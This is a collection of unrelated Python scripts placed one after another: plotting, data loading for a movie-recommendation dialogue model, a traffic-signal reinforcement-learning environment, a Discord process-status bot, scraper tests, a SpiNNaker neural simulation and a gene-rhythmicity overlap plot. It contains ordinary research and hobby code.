ax.annotate('John D. Hunter',
    xy=(.5,.89),
    xycoords='figure fraction',
    xytext=(0, 0), textcoords='offset points',
    size=15,
    ha="center", va="center",
    bbox=bbox_white)

ax.annotate('Friday November 5th  \n 2:00 pm \n1106ME ',
    xy=(.5,.25),
    xycoords='figure fraction',
    xytext=(0, 0), textcoords='offset points',
    size=15,
    ha="center", va="center",
    bbox=bbox_args)

ax.annotate('Sponsored by: \n The Hacker Within, \n\
    The University Lectures Committee, \n The Department of Medical Physics\n and \n The American Nuclear Society ',
    xy=(.78,.1),
    xycoords='figure fraction',
    xytext=(0, 0), textcoords='offset points',
    size=9,
    ha="center", va="center",
    bbox=bbox_args)

fig.savefig("plot.svg")


"""
Given a dictionary (tree), that can contains multiple nested structures.

Write a function, that takes element and finds the number of occurrences
of this element in the tree.

Tree can only contains basic structures like:
    str, list, tuple, dict, set, int, bool
"""
from typing import Any, Union

def parse_collection(
    parsed_collection: Union[list, set, tuple, str], element: Any
) -> int:
    counter = 0
    for value in parsed_collection:
        if value == element:
            counter += 1
        elif isinstance(value, dict):
            counter += find_occurrences(value, element)
        elif isinstance(value, (list, set, tuple)):
            counter += parse_collection(value, element)
        elif isinstance(element, str) and len(element) == 1 and isinstance(value, str):
            counter += value.count(element)
    return counter

def find_occurrences(tree: dict, element: Any) -> int:
    counter = 0
    for value in tree.values():
        if value == element:
            counter += 1
        elif isinstance(value, dict):
            counter += find_occurrences(value, element)
        elif isinstance(value, (list, set, tuple, str)):
            counter += parse_collection(value, element)
    return counter


def main():
    from sys import stdin
    input = stdin.readline

    # 入力を受け取る
    T = int(input())
    for i in range(T):
        N = int(input())
        A = list(map(int, input().split()))
        cnt = 0

        # 処理
        for a in A:
            if a % 2 != 0:
                cnt += 1

        # 答えを出力
        print(cnt)

if __name__ == '__main__':
    main()


class GammaCodeCompressor:
    def __init__(self):
        self.__shift_amount = 1

    def __number_to_btis_arr(self, n):
        return list(map(int, list(bin(n)[2:])))

    def __transform_number(self, number):
        bits = self.__number_to_btis_arr(number)
        bits.pop(0)
        bits.insert(0, 0)
        for i in range(len(bits) - 1):
            bits.insert(0, 1)

        return bits

    def compress_number_list(self, arr):
        transformed_numbers = [self.__transform_number(number+self.__shift_amount) for number in arr]
        tmp = []
        for i in transformed_numbers:
            tmp += i

        return '{0:x}'.format(int("".join(map(str, tmp)), 2))

    def decompress_string(self, s):
        result = []
        bits = [int(b) for b in '{0:b}'.format(int(s, 16))]
        ptr = 0
        while ptr < len(bits):
            length = 0
            while bits[ptr] == 1:
                length += 1
                ptr += 1
            ptr += 1
            offset = 1
            for i in range(length):
                offset = offset*2 + bits[ptr]
                ptr += 1
            result.append(offset-self.__shift_amount)

        return result

# ------------------------- Testing ------------------------- #
# gamma_code_compressor = GammaCodeCompressor()
#
# test_pos = [1, 2, 23, 232, 20232, 9248, 999999, 100, 200]
# s = gamma_code_compressor.compress_number_list(test_pos)
# print(s)
#
# decomposed = gamma_code_compressor.decompress_string(s)
# print(decomposed)
#
# print('Is Compression/Decompression successful :', all([decomposed[i] == test_pos[i] for i in range(len(test_pos))]))


import json
from option import  option
from DataProcessor import clip_pad_sentence,clip_pad_context
import torch
import pandas as pd
import re

class DataLoaderRec():
    def __init__(self,dataset,vocab):
        self.dataset = dataset
        self.vocab = vocab
        self.batch_size = option.batch_size
        self.history_convs = [ [] for _ in range(self.batch_size)]
        self.number_workers = option.worker_num
        self.sunset=False
        self.conv_index = 0
        self.name2id = self.get_name2id()
        self.topic_graph = self.get_topic_graph()

    def __iter__(self):
        return self

    def __next__(self):
        for i in range(len(self.history_convs)):
            if len(self.history_convs[i]) == 0:
                if not self.sunset:
                    processed_session = self.load_processed_session()
                    if processed_session is not None:
                        self.history_convs[i] = processed_session
        self.history_convs = [ conv for conv in self.history_convs if len(conv)>0 ]
        if len(self.history_convs) == 0:
            print("stop")
            raise StopIteration
        batch_convs = [ conv[0] for conv in self.history_convs ]
        self.history_convs = [ conv[1:] for conv in self.history_convs ]
        nn_inputs = []
        for idx, batch_data in enumerate(zip(*batch_convs)):
            nn_inputs.append(torch.tensor(data=batch_data, dtype=torch.long).cuda())
        return nn_inputs

    def load_processed_session(self):
        if self.conv_index >= len(self.dataset):
            self.sunset = True
            return None
        conv = self.dataset[self.conv_index]
        processed_session = self.process(conv)
        self.conv_index += 1
        return processed_session

    def process(self,conversation):
        session_segs = []
        id = int(conversation[0])
        contexts = conversation[-2]
        all_topics = conversation[-1]
        utterances = conversation[1:-2]
        uttr_len = len(utterances)
        all_topic, all_topic_len = clip_pad_sentence(all_topics, option.all_topic_num)
        all_topic = self.vocab.topic2index(all_topic)
        for i in range(2,uttr_len,2):
            response = utterances[i]
            resp = response[0]
            resp, resp_len = clip_pad_sentence(resp, max_len=option.r_max_len, sos=option.BOS_RESPONSE, eos=option.EOS_RESPONSE)
            action_R = response[2]
            if action_R == []:
                continue
            a_R, a_R_len = clip_pad_sentence(action_R, option.action_num)
            context = contexts[:i]
            context, context_len = clip_pad_context(context,option.context_max_len)
            state_R = utterances[i-2][1]
            state_R, state_R_len = clip_pad_sentence(state_R, option.state_num)
            Seeker = utterances[i-1]
            seek = Seeker[0]
            seek, seek_len = clip_pad_sentence(seek, max_len=option.r_max_len, sos=option.BOS_CONTEXT,eos=option.EOS_CONTEXT, save_prefix=False)
            state_U = Seeker[1]
            state_U, state_U_len = clip_pad_sentence(state_U,option.state_num)
            action_U = Seeker[1][-1]
            pv_action = action_U
            related_topics = self.get_related_movies(pv_action,option.movie_num)
            related_topics, related_topics_len = clip_pad_sentence(related_topics,option.movie_num)
            context_idx = self.vocab.word2index(context)
            seek_idx = self.vocab.word2index(seek)
            resp_idx = self.vocab.word2index(resp)
            state_R = self.vocab.topic2index(state_R)
            a_R = self.vocab.topic2index(a_R)
            state_U = self.vocab.topic2index(state_U)
            related_topics = self.vocab.topic2index(related_topics)
            session_segs.append([id,all_topic, all_topic_len,context_idx,context_len,
                                 state_U, state_U_len,a_R, a_R_len,seek_idx,seek_len,
                                 resp_idx,resp_len,state_R,state_R_len,related_topics,related_topics_len,1])
        session_segs[0][-1] = 0
        return session_segs

    def get_topic_graph(self):
        with open('./dataset/graph_rec.json') as f:
            topic_graph = json.load(f)
        return topic_graph

    def get_related_movies(self, action_U, relation_num):
        return self.topic_graph[action_U][0:relation_num]

    def get_name2id(self):
        name2id = {}
        movie_id = pd.read_csv('./dataset/movie_with_mentions.csv', usecols=[1, 2, 3], encoding='gbk')
        movies = movie_id.values.tolist()
        for movie in movies:
            movie[1] = re.sub('\(\d*\)', '', movie[1])
            movie[1] = re.sub('\(上\)', '', movie[1])
            movie[1] = re.sub('\(下\)', '', movie[1])
            movie[1] = re.sub('\(美版\)', '', movie[1])
            name2id[movie[1]] = str(movie[0])
        return name2id


import gym
from gym import error, spaces, utils, logger
from gym.utils import seeding

import cityflow
import numpy as np

import json
import random

class CityFlow1x1(gym.Env):
    metadata = {'render.modes':['human']}

    def __init__(self, cfgs, steps_per_episode=100):
        # self.cfgs = glob.glob('data/rl/cfg_*')
        self.cfgs = cfgs
        with open(cfgs[0]) as f:
            cfg = json.load(f)

        self.cf_engine = cityflow.Engine(cfgs[0], thread_num=1)
        # self.cf_engine.set_save_replay(False)

        with open(cfg['dir'] + cfg['flowFile']) as f:
            flow_cfg = json.load(f)

        self.all_lade_ids = [lane_id for lane_id in
                             self.cf_engine.get_lane_vehicles()]

        start_road_ids = []
        for v in flow_cfg:
            start_road_ids.append(v['route'][0])

        self.start_lane_ids = []
        for lane_id in self.all_lade_ids:
            for road_id in start_road_ids:
                if lane_id.startswith(road_id):
                    self.start_lane_ids.append(lane_id)
                    break

        self.step_interval = float(cfg['interval'])

        # actual phases
        # self.phase_durs = np.array([10] * 9, dtype=np.int64)
        # self.phases = np.arange(9)

        # demo phases
        self.phase_durs = [30, 30]
        self.phases = [1, 2]

        # fuck it, let's hardcode the intersection id and number of TL states
        self.inter_id = 'intersection_1_1'
        # self.action_space = spaces.Discrete(9) # 9 TL phases
        self.action_space = spaces.Discrete(len(self.phases))

        n_start_lanes = len(self.start_lane_ids)
        max_vehicles_per_lane = 100
        n_buckets = int(np.log2(1 + max_vehicles_per_lane))

        self.observation_space = spaces.MultiDiscrete([n_buckets] * n_start_lanes)

        self.steps_per_episode = steps_per_episode
        self.current_step = 0
        self.is_done = False
        self.reward_range = (float('-inf'), 0)

        self.waiting_dict = {}
        self.last_tick_time = 0

    def step(self, action):
        assert self.action_space.contains(action), f'invalid action specified: {action}'

        cum_reward = 0
        for _ in range(self.phase_durs[action]):
            self.cf_engine.set_tl_phase(self.inter_id, self.phases[action])
            self.cf_engine.next_step()
            state, reward = self._get_state_reward()
            cum_reward += reward

        self.current_step += 1

        if self.is_done:
            logger.warn("You are calling 'step()' even though this environment "
                        "has already returned done = True. You should always call "
                        "'reset()' once you receive 'done = True' -- any further "
                        "steps are undefined behavior.")
            cum_reward = 0

        if self.current_step == self.steps_per_episode:
            self.is_done = True

        return state, cum_reward, self.is_done, {}

    def seed(self, n):
        self.cf_engine.set_random_seed(n)

    def reset(self, seed=None):
        if seed is not None:
            self.seed(seed)
            random.seed(seed)

        self.cf_engine = cityflow.Engine(random.choice(self.cfgs),
                                         thread_num=1)
        # self.cf_engine.set_save_replay(False)

        self.cf_engine.reset()
        self.is_done = False
        self.current_step = 0
        self.last_tick_time = 0
        self.waiting_dict.clear()

        state, _ = self._get_state_reward()

        return state

    def set_save_replay(self, save_replay):
        self.cf_engine.set_save_replay(save_replay)

    def set_replay_path(self, path):
        self.cf_engine.set_replay_file(path)

    def _get_state_reward(self):
        waiting_per_lane = self.cf_engine.get_lane_waiting_vehicle_count()

        n_start_lanes = len(self.start_lane_ids)
        counts = np.zeros(n_start_lanes, dtype=np.int64)
        for i in range(n_start_lanes):
            counts[i] = waiting_per_lane[self.start_lane_ids[i]]

        state = np.log2(1 + counts).astype(np.int64)

        cur_time = self.cf_engine.get_current_time()
        elapsed = cur_time - self.last_tick_time
        self.last_tick_time = cur_time
        impatience = 0.0
        alpha = 10**(1.0/100)
        for v_id, speed in self.cf_engine.get_vehicle_speed().items():
            if abs(speed) < 0.1:
                t = self.waiting_dict.get(v_id, 1) * elapsed * alpha
                self.waiting_dict[v_id] = t
                impatience += t

        reward = -counts.sum()# - min(impatience, 1e3)

        return state, reward


#!/usr/bin/env python

"""
This is a Cog used to display processes/ programs running on the client to a discord text channel

Commented using reStructuredText (reST)

ToDo
    create and use a database for multiple servers
"""
# Futures

# Built-in/Generic Imports
import os
import sys
import configparser
import shutil
import time
import codecs

# Libs
import discord
import psutil
from discord.ext import commands, tasks

# Own modules

__author__ = "Jack Draper"
__copyright__ = "Unofficial Copyright 2019, CyclopsBot"
__credits__ = ["Jack Draper"]
__license__ = "Developer"
__version__ = "0.0.4"
__maintainer__ = "Jack Draper"
__email__ = "thejaydwee@gmail.com"
__status__ = "Development"
# "Prototype", "Development", or "Production"

# Constants
CONFIG_PATH = "./configs/config.ini"
DEFAULT_EMBED = discord.Embed(
            title=":desktop: Program Status",
            colour=discord.Colour.blue()
        )

# Checks for config file
if not os.path.exists("./configs/config.ini"):
    print("No config file can be found in ./configs/.")
    sys.exit("No config found.")
# Runs config file
config = configparser.ConfigParser()
try:
    # config.read(os.path.abspath("./configs/config.ini"))
    config.read_file(codecs.open(CONFIG_PATH, "r", "utf-8-sig"))
except FileNotFoundError:
    try:
        # shutil.copyfile("./configs/default_config.ini", "./configs/config.ini")
        print("You need to set up the config file correctly.")
    except shutil.Error:
        print("Something is wrong with the default config file or the config folder.")
        time.sleep(4)
    sys.exit()

# Config Constants
ADMIN_ROLE = config["Credentials"]["admin_role"]
TEXT_CHANNEL = int(config["ProcessDisplay"]["text_channel_id"])
PROCESSES = eval(config["ProcessDisplay"]["processes"])

class ProcessDisplay(commands.Cog):
    """
    The Cog for Process Display
    """

    def __init__(self, client):
        """
        :param client: the bot client parsed in from the main program
        """
        self.started = False
        self.client = client
        self.inline = False

    # Events
    @commands.Cog.listener()
    async def on_ready(self):
        """
        Ran when bot is starting up and ready
        Deletes messages from the bot in the TEXTCHANNEL
        starts up find_processes method
        :return:
        """

        if not self.started:
            channel = self.client.get_channel(TEXT_CHANNEL)

            await self.delete_bot_msg(channel)
            msg = await channel.send(embed=DEFAULT_EMBED)
            self.find_processes.start(msg)
            started = True
        print("ProcessDisplay Running")

    # Commands
    @commands.command()
    @commands.has_permissions(administrator=True)
    async def toggle_inline(self,ctx):
        """
        Toggles inline for process controls

        :param ctx: The command Context
        :return:
        """
        self.inline = not self.inline

    @commands.command()
    @commands.has_permissions(administrator=True)
    async def move_process(self, direction, process_name):
        """
        need to make
        :param direction:
        :param process_name:
        :return:
        """
        for i in range(len(PROCESSES)):
            if PROCESSES[i] == process_name:
                if direction.lower() == "up":
                    pass

    @commands.command()
    @commands.has_permissions(administrator=True)
    async def add_process(self, ctx, process, name):
        """
        Adds a process to the process display.
        Must be different from ones currently displayed.

        :param ctx: Context of the command
        :param process: The process (e.g. 'cmd.exe') to be added
        :param name: The name to be displayed for the process (e.g. 'Command Prompt')
        :return:
        """
        name = self.fix_emoji_escapes(name)
        if process in PROCESSES.keys():
            await ctx.send(f"The process {process} is already being displayed")
        elif name in PROCESSES.values():
            await ctx.send(f"The process name {name} is already being displayed")

        else:
            PROCESSES[process] = name
            self.update_processes_config()
            await ctx.send(f"The process {name} has been added")

    @commands.command()
    @commands.has_permissions(administrator=True)
    async def remove_process(self, ctx, *name):
        """
        Removes a process from the process display

        :param ctx: Context of the command
        :param name: Name displayed for the process (e.g. Command Prompt)
        :return:
        """
        print(name)
        name = self.fix_emoji_escapes(" ".join(name))
        complete = False
        for process in PROCESSES.keys():
            if PROCESSES.get(process) == name:
                PROCESSES.pop(process)
                self.update_processes_config()
                await ctx.send(f"The process {name} has been removed")
                complete = True
                break
        if not complete:
            await ctx.send(f"The process {name} doesn't exist")

    @commands.command()
    @commands.has_permissions(administrator=True)
    async def edit_process(self, ctx, old_name, new_name):
        """
        Edits the name of a process
        :param ctx: The context of the command
        :param old_name: The old name of the process (to be changed)
        :param new_name: The new name of the process (changed to)
        :return:
        """
        old_name = self.fix_emoji_escapes(old_name)
        new_name = self.fix_emoji_escapes(new_name)
        if old_name in PROCESSES.values():
            for process in PROCESSES:
                if PROCESSES.get(process) == old_name:
                    PROCESSES.update({process: new_name})
                    self.update_processes_config()

        else:
            await ctx.send(f"Process name {old_name} doesn't exist")

    @tasks.loop(seconds=1)
    async def find_processes(self, msg):
        """
        The processes with statuses are attached to the msg given

        :param msg: The message to be edited with the processes
        :return:
        """
        running_processes = []
        new_embed = DEFAULT_EMBED.copy()

        for proc in psutil.process_iter():
            if proc.name() in PROCESSES.keys():
                running_processes.append(proc.name())
            elif proc.name() in ["java.exe", "javaw.exe"] and proc.cwd() in PROCESSES.keys():
                running_processes.append(proc.cwd())

        for process in PROCESSES:
            try:
                if process in running_processes:
                    new_embed.add_field(name=PROCESSES.get(process),
                                        value="Online <:GreenTick:592083498534174721>", inline=self.inline)
                else:
                    new_embed.add_field(name=PROCESSES.get(process),
                                        value="Offline <:RedCross:592082557961633877>", inline=self.inline)
            except PermissionError:
                new_embed.add_field(name=PROCESSES.get(process),
                                    value="Admin Required <:OrangeUnknown:592082676891123722>", inline=self.inline)
        await msg.edit(content="", embed=new_embed)

    def is_me(self, m):
        """
        Checks if a messages author is the bot
        :param m: tbh idk, maybe message?
        :return:
        """
        return m.author == self.client.user

    async def delete_bot_msg(self, channel):
        """
        Deletes up to the last 100 messages sent by the bot in the given channel
        :param channel: The channel that will have the messages deleted
        :return: the message that says how many messages were deleted
        """
        await channel.purge(limit=100, check=self.is_me)

    @staticmethod
    def update_processes_config():
        """
        Updates the processes line in the config with the current PROCESSES
        :return:
        """

        config.set("ProcessDisplay", "processes", str(PROCESSES))
        with open(CONFIG_PATH, 'w', encoding='utf-8') as configfile:
            config.write(configfile)

    @staticmethod
    def fix_emoji_escapes(text):
        """
        Fixes emoji escapes to add the < back on
        :param text: The text that needs to be checked for an escape
        :return: the fixed text
        """
        new_text = text.split(":")
        for i in range(2, len(new_text)):
            if ">" in new_text[i]:
                new_text[i-2] += "<"
        return ":".join(new_text)

def setup(client):
    """
    Ran on setup of the Cog
    :param client: The bot client
    :return:
    """
    client.add_cog(ProcessDisplay(client))


# 370 Fall 2020: Scraper Software

# This file tests sorting_system.py

import pytest
import sorting_system

sample_input = [
    ["Aloha Long Sleeve T-Shirt", "Men", 35.95, 10.00, "WHITE (wht)", "https://www.billabong.com/en-ca/aloha-long-sleeve-t-shirt-194843166303.html", "https://images.boardriders.com/global/billabong-products/all/default/small/m4053bao_billabong,f_wht_frt1.jpg", "mens_tshirts", "Billabong"],
    ["Geo Hawaii T-Shirt", "Men", 29.95, "N/A", "BLACK (blk) || DARK GREY HEATH (dgr)", "https://www.billabong.com/en-ca/geo-hawaii-t-shirt-194843057380.html", "https://images.boardriders.com/global/billabong-products/all/default/small/m4043bgh_billabong,f_blk_frt1.jpg", "mens_tshirts", "Billabong"],
    ["Walled Long Sleeve T-Shirt", "Men", 37.95, "N/A", "COASTAL BLUE (cbu)", "https://www.billabong.com/en-ca/walled-long-sleeve-t-shirt-194843061080.html", "https://images.boardriders.com/global/billabong-products/all/default/small/m4053bwa_billabong,f_cbu_frt1.jpg", "mens_tshirts", "Billabong"],
    ["Flamingo Palm T-Shirt", "Men", 29.95, "N/A", "LIGHT AQUA (laq) || OFF WHITE (ofw)", "https://www.billabong.com/en-ca/flamingo-palm-t-shirt-194843057182.html", "https://images.boardriders.com/global/billabong-products/all/default/small/m4043bfp_billabong,f_laq_frt1.jpg", "mens_tshirts", "Zillabong"],
    ["Lines Short Sleeve T-Shirt", "Men", 31.95, "N/A", "CHARCOAL (chr) || SILVER (sil)", "https://www.billabong.com/en-ca/lines-short-sleeve-t-shirt-194843174599.html", "https://images.boardriders.com/global/billabong-products/all/default/small/m4603bvh_billabong,f_chr_frt1.jpg", "mens_tshirts", "Billabong"],
    ["Palm Grinch Short Sleeve T-Shirt", "Women", 39.95, 15.00, "OFF WHITE (ofw)", "https://www.billabong.com/en-ca/palm-grinch-short-sleeve-t-shirt-194843454288.html", "https://images.boardriders.com/global/billabong-products/all/default/small/abyzt00637_billabong,m_ofw_frt1.jpg", "mens_tshirts", "Billabong"]
]

def test_data_as_csv():
    """
    Tests that sorting_system.retrieve_data_as_csv() returns a filname
    and that all content is accounted for (excluding header)
    """
    filename = sorting_system.retrieve_data_as_csv(sample_input)
    assert filename == "results.csv"

    # Check contents
    f = open(filename)
    assert(len(list(f)) == 6)

def test_sort_results():
    """

    :return:
    """
    keys = ["Name", "Gender", "Price", "Sale Price", "Store"]

    for key in keys:
        if key == "Name":
            # Non reversed
            sorted_list = sorting_system.sort_results("results.csv", key, False)
            # Check first and last item after sort
            first_product = sorted_list[0]
            assert first_product[0] == "Aloha Long Sleeve T-Shirt"
            last_product = sorted_list[5]
            assert last_product[0] == "Walled Long Sleeve T-Shirt"

            # Reversed
            sorted_list = sorting_system.sort_results("results.csv", key, True)
            # Check first and last item after sort
            first_product = sorted_list[0]
            assert first_product[0] == "Walled Long Sleeve T-Shirt"
            last_product = sorted_list[5]
            assert last_product[0] == "Aloha Long Sleeve T-Shirt"

        elif key == "Gender":
            # Non reversed
            sorted_list = sorting_system.sort_results("results.csv", key, False)
            # Check first and last item after sort
            first_product = sorted_list[0]
            assert first_product[1] == "Men"
            last_product = sorted_list[5]
            assert last_product[1] == "Women"

            # Reversed
            sorted_list = sorting_system.sort_results("results.csv", key, True)
            # Check first and last item after sort
            first_product = sorted_list[0]
            assert first_product[1] == "Women"
            last_product = sorted_list[5]
            assert last_product[1] == "Men"

        elif key == "Price":
            # Non reversed
            sorted_list = sorting_system.sort_results("results.csv", key, False)
            # Check first and last item after sort
            first_product = sorted_list[0]
            assert first_product[2] == 29.95
            last_product = sorted_list[5]
            assert last_product[2] == 39.95

            # Reversed
            sorted_list = sorting_system.sort_results("results.csv", key, True)
            # Check first and last item after sort
            first_product = sorted_list[0]

            assert first_product[2] == 39.95
            last_product = sorted_list[5]
            assert last_product[2] == 29.95

        elif key == "Sale Price":
            # Non reversed
            sorted_list = sorting_system.sort_results("results.csv", key, False)
            # Check first and last item after sort
            first_product = sorted_list[0]
            assert first_product[3] == 10.00
            last_product = sorted_list[5]
            assert last_product[3] == "N/A"

            # Reversed
            sorted_list = sorting_system.sort_results("results.csv", key, True)
            # Check first and last item after sort
            first_product = sorted_list[0]
            assert first_product[3] == 15.0
            last_product = sorted_list[5]
            assert last_product[3] == "N/A"

        elif key == "Store":
            # Non reversed
            sorted_list = sorting_system.sort_results("results.csv", key, False)
            # Check first and last item after sort
            first_product = sorted_list[0]
            assert first_product[8] == "Billabong"
            last_product = sorted_list[5]
            assert last_product[8] == "Zillabong"

            # Reversed
            sorted_list = sorting_system.sort_results("results.csv", key, True)
            # Check first and last item after sort
            first_product = sorted_list[0]
            assert first_product[8] == "Zillabong"
            last_product = sorted_list[5]
            assert last_product[8] == "Billabong"

test_sort_results()


import pyNN.spiNNaker as sim
import numpy as np

sim.setup(timestep=1.0)
runtime = 5000
populations = []

n_pop = 3000
n_input = 100
sim.set_number_of_neurons_per_core(sim.IF_curr_exp, 100)
# sim.set_number_of_neurons_per_core(sim.SpikeSourceArray, 50)

spikeat = []
for n in range(runtime):
    if n % 500:
        spikeat.append(n)

pop_src1 = sim.Population(n_input, sim.SpikeSourceArray,
                        {'spike_times': spikeat}, label="src1")

populations.append(sim.Population(n_pop, sim.IF_curr_exp(),  label="test"))

# populations[0].set(tau_syn_E=2)
# populations[0].set(tau_syn_I=4)
start_w = 0.5

stdp_model = sim.STDPMechanism(
    timing_dependence=sim.SpikePairRule(
        tau_plus=10.0, tau_minus=10.0, A_plus=0.5, A_minus=0.5),
    weight_dependence=sim.AdditiveWeightDependence(
        w_min=0.01, w_max=4.0), weight=start_w,
    delay=sim.RandomDistribution('uniform', (2.0, 15.0)))

# define the projections
# connector = sim.OneToOneConnector
connector = sim.FixedProbabilityConnector(0.01)
proj = sim.Projection(
    pop_src1, populations[0], connector,
    receptor_type="excitatory", synapse_type=stdp_model)
# proj = sim.Projection(
#     pop_src1, populations[0], connector,
#     receptor_type="excitatory",
#     synapse_type=sim.StaticSynapse(
#         weight=4.0, delay=sim.RandomDistribution('uniform', (2.0, 15.0))))

populations[0].record("all")
sim.run(runtime)

np.set_printoptions(threshold=np.inf)
weights_delays = proj.get(["weight", "delay"], "list")
print(weights_delays)
print(len(weights_delays))

sim.end()


import pathlib

import numpy as np
import pandas
import matplotlib
import pylab

JUST_LEFT_COLOR = "#a53131"
JUST_BOTTOM_COLOR = "#0c1860"
BOTH_COLOR = "grey"

from studies import targets as study_info

import studies

outdir = pathlib.Path(snakemake.output.outdir)
outdir.mkdir(exist_ok=True)

# Load
summary = pandas.read_csv(snakemake.input.summary, sep="\t")
summary_swapped = summary.copy()
summary_swapped[['study1', 'study2']] = summary_swapped[['study2', 'study1']]
summary = pandas.concat([
    summary,
    summary_swapped,
])
summary['study1'] = summary.study1.map(lambda x: study_info[x]['short_name'])
summary['study2'] = summary.study2.map(lambda x: study_info[x]['short_name'])

# Reformat
wide = summary.pivot(index=["study1", "study2"], columns="category", values="counts").fillna(0)
both_rhythmic = wide['change'] + wide['same']
one_rhythmic = wide['gain'] + wide['loss']
total = both_rhythmic + one_rhythmic

all_studies = set(summary.study1.unique()).union(summary.study2.unique())
study_order = {study: i for i,study in enumerate(sorted(all_studies))}

# Load JTK and calculate overlaps
jtk = pandas.read_csv(snakemake.input.all_jtk, sep="\t")
jtk['significant'] = jtk['qvalue'] < 0.05
jtk_overlaps = []
for study1, data1 in jtk.groupby("study"):
    sig1 = set(data1.query('significant').ID)
    for study2, data2 in jtk.groupby("study"):
        if study1 == study2:
            continue
        sig2 = set(data2.query('significant').ID)
        jtk_overlaps.append({
            "study1": study_info[study1]['short_name'],
            "study2": study_info[study2]['short_name'],
            "both": len(sig1.intersection(sig2)),
            "just1": len(sig1.difference(sig2)),
            "just2": len(sig2.difference(sig1)),
        })
jtk_overlaps = pandas.DataFrame(jtk_overlaps).set_index(['study1', 'study2'])
jtk_overlaps['total'] = jtk_overlaps['both'] + jtk_overlaps['just1'] + jtk_overlaps['just2']
jtk_overlaps.to_csv(outdir / "jtk_overlaps.txt", sep="\t")
print(jtk_overlaps.head())
# Compute the scaling
jtk_scale = max(total.max(), jtk_overlaps['total'].max())

# Load BooteJTK and calculate overlaps
bootejtk = pandas.read_csv(snakemake.input.all_bootejtk, sep="\t")
bootejtk['significant'] = bootejtk['GammaBH'] < 0.05
bootejtk_overlaps = []
for study1, data1 in bootejtk.groupby("study"):
    sig1 = set(data1.query('significant').ID)
    for study2, data2 in bootejtk.groupby("study"):
        if study1 == study2:
            continue
        sig2 = set(data2.query('significant').ID)
        bootejtk_overlaps.append({
            "study1": study_info[study1]['short_name'],
            "study2": study_info[study2]['short_name'],
            "both": len(sig1.intersection(sig2)),
            "just1": len(sig1.difference(sig2)),
            "just2": len(sig2.difference(sig1)),
        })
bootejtk_overlaps = pandas.DataFrame(bootejtk_overlaps).set_index(['study1', 'study2'])
bootejtk_overlaps['total'] = bootejtk_overlaps['both'] + bootejtk_overlaps['just1'] + bootejtk_overlaps['just2']
print(bootejtk_overlaps.head())
bootejtk_overlaps.to_csv(outdir / "bootejtk_overlaps.txt", sep="\t")
# Compute the scaling
bootejtk_scale = max(total.max(), bootejtk_overlaps['total'].max())

METHOD_OVERLAPS = {
    "JTK": jtk_overlaps,
    "BooteJTK": bootejtk_overlaps,
}

METHOD_SCALE = {
    "JTK": jtk_scale,
    "BooteJTK": bootejtk_scale,
}

def plot_overlaps(ax, x,y, just1, just2, both, scale):
    # Draw a Venn diagram as rectangles
    # with fractions colored to show overlap
    tot = just1 + just2 + both
    square_size = np.sqrt(tot / scale)
    both_size = (both / tot)
    just1_size = (just1 / tot)
    just2_size = (just2 / tot)
    corner = (1-square_size) / 2
    total_rect = matplotlib.patches.Rectangle(
        [i + corner, j + corner],
        width = square_size,
        height = square_size,
        facecolor = BOTH_COLOR,
    )

    if just2_size < 0.2:
        just2_width = min(1 - just1_size, np.sqrt(just2_size))
        just2_height = just2_size / just2_width
    else:
        just2_width = just2_size
        just2_height = 1
    just2_rect = matplotlib.patches.Rectangle(
        [i + corner, j + corner],
        width = just2_width * square_size,
        height = just2_height * square_size,
        facecolor = JUST_LEFT_COLOR,
    )
    #both_rect = matplotlib.patches.Rectangle(
    #    [i + corner + just2_size, j + corner],
    #    width = both_size,
    #    height = square_size,
    #    facecolor = "black",
    #)
    if just1_size < 0.2:
        just1_width = min(1 - just2_size, np.sqrt(just1_size))
        just1_height = (just1_size / just1_width)
    else:
        just1_width = just1_size
        just1_height = 1
    just1_rect = matplotlib.patches.Rectangle(
        [i + corner + square_size - just1_width * square_size, j + corner],
        width = just1_width * square_size,
        height = just1_height * square_size,
        facecolor = JUST_BOTTOM_COLOR,
    )
    ax.add_patch(total_rect)
    #ax.add_patch(both_rect)
    ax.add_patch(just1_rect)
    ax.add_patch(just2_rect)

for method in ['JTK', 'BooteJTK']:
    scale = METHOD_SCALE[method]
    # Plot - showing squares of mini 'venn diagrams'
    LEGEND_GAP = 1
    LEGEND_SPACE = 4
    fig, ax = pylab.subplots(figsize=(9,9), constrained_layout = True)
    for (study1, study2), data in wide.iterrows():
        i = study_order[study1]
        j = study_order[study2]
        if i > j:
            # Plot the compareRhythms overlaps below diagonal
            tot = total.loc[(study1, study2)]
            both = both_rhythmic.loc[(study1, study2)]
            one = one_rhythmic.loc[(study1, study2)]
            just1 = wide['loss'].loc[(study1, study2)]
            just2 = wide['gain'].loc[(study1, study2)]

            plot_overlaps(ax, i, j, just1, just2, both, scale)
        else:
            # Plot the JTK overlaps above diagonal
            df = METHOD_OVERLAPS[method].loc[(study1, study2)]
            both = df['both']
            just1 = df['just1']
            just2 = df['just2']
            plot_overlaps(ax, i, j, just1, just2, both, scale)

    ax.spines['top'].set_visible(False)
    ax.spines['right'].set_visible(False)
    ax.spines['bottom'].set_visible(False)
    ax.spines['left'].set_visible(False)
    ax.set_aspect(1.0)
    ax.set_xlim(0, len(study_order) + LEGEND_SPACE)
    ax.set_ylim(0, len(study_order) + 2)
    ax.set_xticks( np.arange(len(study_order))+0.5)
    ax.set_xticklabels(
        labels=list(study_order.keys()),
        rotation=90
    )
    ax.set_yticks( np.arange(len(study_order))+0.5)
    ax.set_yticklabels(
        labels=list(study_order.keys()),
    )

    # Manually drawn legend
    x = LEGEND_GAP + len(study_order)
    y = (len(study_order) -6*2) / 2
    ax.add_patch(matplotlib.patches.Rectangle([x,y - np.sqrt(500/scale)/2], np.sqrt(500/scale), np.sqrt(500/scale), color="black"))
    ax.add_patch(matplotlib.patches.Rectangle([x,y+2 - np.sqrt(2000/scale)/2], np.sqrt(2000/scale), np.sqrt(2000/scale), color="black"))
    ax.add_patch(matplotlib.patches.Rectangle([x,y+4 - np.sqrt(5000/scale)/2], np.sqrt(5000/scale), np.sqrt(5000/scale), color="black"))
    ax.add_patch(matplotlib.patches.Rectangle([x,y+6 - np.sqrt(5000/scale)/2], np.sqrt(5000/scale), np.sqrt(5000/scale), color=BOTH_COLOR))
    ax.add_patch(matplotlib.patches.Rectangle([x,y+8 - np.sqrt(5000/scale)/2], np.sqrt(5000/scale), np.sqrt(5000/scale), color=JUST_LEFT_COLOR))
    ax.add_patch(matplotlib.patches.Rectangle([x,y+10 - np.sqrt(5000/scale)/2], np.sqrt(5000/scale), np.sqrt(5000/scale), color=JUST_BOTTOM_COLOR))
